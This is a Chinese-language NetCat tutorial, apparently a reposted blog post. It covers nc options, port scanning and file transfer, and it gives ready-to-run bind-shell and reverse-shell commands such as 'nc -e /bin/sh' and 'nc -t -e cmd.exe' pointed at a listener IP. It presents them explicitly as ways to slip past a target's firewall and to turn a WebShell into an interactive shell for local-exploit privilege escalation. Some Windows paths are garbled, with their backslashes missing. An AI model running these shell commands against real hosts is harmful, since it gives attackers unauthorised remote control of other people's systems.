• NC使用教程


    NetCat参数说明:

    主要参数:

    -c shell commands	 与`-e’一样效果(use /bin/sh to exec )
    
    -e filename      	程序重定向
    
    -d                 无命令行界面,使用后台模式
    
     -i <延迟秒数>      设置时间间隔,以便传送信息及扫描通信端口;
    
    -l                 监听模式,用于入站连接 
    
    -L                监听模式,连接关闭后仍然继续监听,直到CTR+C 
    
    -n                IP地址,不能用域名 
    
    -o <文件名>       记录16进制的传输 
    
    -p <端口>          本地端口号 
    
    -r                随机本地及远程端口 
    
    -s <地址>         设置本地主机送出数据包的IP地址
    
    -t                使用Telnet交互方式 
    
    -T tos            set Type Of Service
    
    -u                UDP模式 
    
    -v                详细输出,用-vv将更详细 
    
    -w <数字>          timeout延时间隔 
    
    -z                 将输入,输出关掉(用于扫锚时) 
    

    一般netcat做的最多的事情为以下三种:

    • 扫描指定IP端口情况

    • 端口转发数据(重点)

    • 提交自定义数据包

    1、扫描常用命令。

    以下IP 处可以使用域名,nc会调用NDS解析成IP地址。

    nc -v ip port            #扫瞄某 IP 的某个端口,返回端口信息详细输出。如:nc -v 96.44.174.9 80
    
    nc -v -z ip port-port            #扫描某IP的端口段,返回端口信息详细输出,但扫描速度很慢。如:nc -v -z 96.44.174.9 80-1024
    
    nc -v -z -u ip port-port            #扫描某 IP 的某 UDP 端口段,返回端口信息详细输出,但扫描速度很慢。如:nc -v -z -u 96.44.174.9 25-1024
    
    nc -nvv -w2 -z ip port-port            #扫锚某IP的端口段,连接超时时间为2秒。如:nc -nvv -w2 -z 96.44.174.9 80-1024
    

    2、监听端口、连接端口、转发端口常用命令。

    nc -l -p 520            #开启本机的 TCP 520 端口并监听次端口的上传输的数据。
    
    nc -l -v -p 520            #开启本机的 TCP 520 端口并将监听到的信息输出到当前 CMD 窗口。这个命令也是端口转发shell的基础。
    
    nc -l -p 520 > C:/log.dat            #开启本机的 TCP 520 端口并将监听到的信息输出到 C:/log.dat 下的日志文件里。
    
    nc -nvv 192.168.1.101 520            #连接到192.168.1.101主机的 520。
    
    • 重点一(正向连接):*
    nc -l -p 2012 -t -e C:WINDOWSsystem32cmd.exe            #远程运行
    
    nc -nvv 192.168.1.101 2012            #本地运行
    

    【解释】采用正向连接方式,远程主机(注:假设IP地址为 192.168.1.101)上运行 nc -l -p 2012 -t -e cmd.exe 意为绑定远程主机的 CMD 到2012 端口,当本地主机连接远程主机成功时就会返回给本地主机一个CMD Shell ;在本地主机上运行 nc -nvv 192.168.1.101 2012 用于连接已经将 CMD 重定向到 2012 端口的远程主机(注:假设IP地址为 192.168.1.101)。

    • 重点二(反向连接):*
    nc -t -e C:WINDOWSsystem32cmd.exe 192.168.1.102 2012            #远程运行
    
    nc -l &ndash;vv -p 2012            #本地运行
    

    【解释】采用反向连接方式,先在本地主机(拥有公网IP)运行 nc -l –vv -p 2012 开启2012 端口并监听等待远程主机连接;在远程主机上运行 nc -t -e cmd.exe 192.168.1.102 2012 将远程主机的 CMD 重定向到 IP 地址为 192.168.1.102 端口号为2012 的主机上,连接成功后 IP 地址为 192.168.1.102 的主机会得到一个CMD Shell。

    总结:这个情况是最常用的内网端口转发功能,这样反弹shell即可执行命令。反向连接就是常用的反弹shell到本地,因为由主机主动发送的情况本地防火墙等设备一般不会去拦截,而正向连接到远程主机的某端口常常被拦截。

    3、提交数据、文件传输常用命令

    nc -vv IP port < C:/http.txt            #提交http.txt内数据包到www.91ri.org的80端口,-vv参数会使速度变慢,但可以跟踪过程。例如IISput漏洞就可以自定义数据包使用此方法提交。如:nc -vv www.91ri.org 80 < C:/http.txt
    
    nc -v -n ip port < C:/sunzn.exe            #本地运行
    
    nc -v -l -p port > D:/sunzn.exe           #远程运行
    

    【解释】在本地运行 nc -v -n ip port < C:/sunzn.exe 意为从本地 C 盘根目录中读取 sunzn.exe 文件的内容,并把这些数据发送到远程主机的对应端口上(注:命令行中的 IP 为接收文件的远程主机 IP ),在远程主机运行 nc -v -l -p port > D:/sunzn.exe 意为监听对应端口并把接收到的信息数据写到 D:/sunzn.exe 中,两行命令实现了文件在本地主机和远程主机间的传输。

    传输http数据包实例:


    Linux环境下netcat使用

    好东西肯定需要在不同的环境中都能使用,在linux环境中同样有着netcat可以使用。主要过程如下:

    Linux提权绝大部分都靠的是Local Exploit。WebShell一般都可以执行命令,但是溢出必须在可交互环境运行,否则如果直接在WebShell执行,即使能溢出提权成功,也没法利用。因此必须要反弹一个Shell命令行窗口,在命令行终端下执行溢出进行提权。

    主要步骤:

    1、wget一个tar压缩的nc

    Wget http://sourceforge.net/projects/netcat/files/netcat/0.7.1/netcat-0.7.1.tar.gz/download -O netcat-0.7.1.tar.gz
    

    2、解压文件

    tar zxvf netcat-0.7.1.tar.gz
    

    3、解压完毕之后会生成目录

    cd netcat-0.7.1
    

    4、配置环境

    ./configure
    

    5、配置完了之后就可以编译了。

    make
    

    6、编译成功就生成了netcat可执行的文件了,位于src目录,cd进去进行运行./netcat文件就是我们的nc了。

    远程Linux转发命令

    ./netcat 8.8.8.8 1234 -e /bin/sh
    

    基本用法:

    • 连接到192.168.0.1主机的80端口

      nc -nvv 192.168.0.1 80
      
    • 开启本机的TCP 80端口并监听

      nc -l -p 80 
      
    • 扫锚192.168.0.1的80-1024端口

      nc -nvv -w2 -z 192.168.0.1 80-1024
      
    • 绑定remote主机的cmdshell在remote的TCP 5354端口

      nc -l -p 5354 -t -e c:winntsystem32cmd.exe
      
    • 绑定remote主机的cmdshell并反向连接192.168.0.2的5354端口

      nc -t -e c:winntsystem32cmd.exe 192.168.0.2 5354
      

    高级用法:

    • 开启并不停地监听80端口,直到CTR+C为止

      nc -L -p 80 
      
    • 开启并不停地监听80端口,直到CTR+C,同时把结果输出到c:log.txt

      nc -L -p 80 > c:log.txt 作为蜜罐用2
      
    • 开启并不停地监听80端口,直到CTR+C,并把c:honeyport.txt中内容送入管道中,亦可起到传送文件作用

      nc -L -p 80 < c:honeyport.txt 作为蜜罐用3-1
      
    • 开启并不停地监听80端口,直到CTR+C,并把c:honeyport.txt中内容送入管道中,亦可起到传送文件作用

      type.exe c:honeyport | nc -L -p 80 作为蜜罐用3-2
      
    • 开启并不停地监听本机端口,直到CTR+C为止

      nc -l -p 本机端口 
      
    • 在对方 win2000+主机上用:

      nc -e cmd.exe 本机IP -p 本机端口
      
    • linux,unix上,反向连接突破对方主机的防火墙

      nc -e /bin/sh 本机IP -p 本机端口 
      
    • 本机上用

      nc -d -l -p 本机端口 < 要传送的文件路径及名称 
      
    • 在对方主机上用

      nc -vv 本机IP 本机端口 > 存放文件的路径及名称 传送文件到对方主机 
      

    备 注:

    < 或 > 重定向命令。“<”,例如:tlntadmn < test.txt 指把test.txt的内容赋值给tlntadmn命令

    @ 表示执行@后面的命令,但不会显示出来(后台执行);例:@dir c:winnt >> d:log.txt 意思是:后台执行dir,并把结果存在d:log.txt中

    “>”与“>>”的区别 :">"指:覆盖;">>"指:保存到(添加到)。

    如:@dir c:winnt >> d:log.txt和@dir c:winnt > d:log.txt二个命令分别执行二次比较看:用>>的则是把二次的结果都保存了,而用:>则只有一次的结果,是因为第二次的结果把第一次的覆盖了。

  • 相关阅读:
    文档生成器
    jenkins多分支版本备份
    jenkins发布控制版本号和同步
    py导出时段报表
    jenkins多分支回滚总结文
    jenkins单分支版本备份
    k8s多pod查询日志脚本
    php 0425
    php 0418
    php 0422
  • 原文地址:https://www.cnblogs.com/H4ck3R-XiX/p/12230026.html
Copyright © 2020-2023  润新知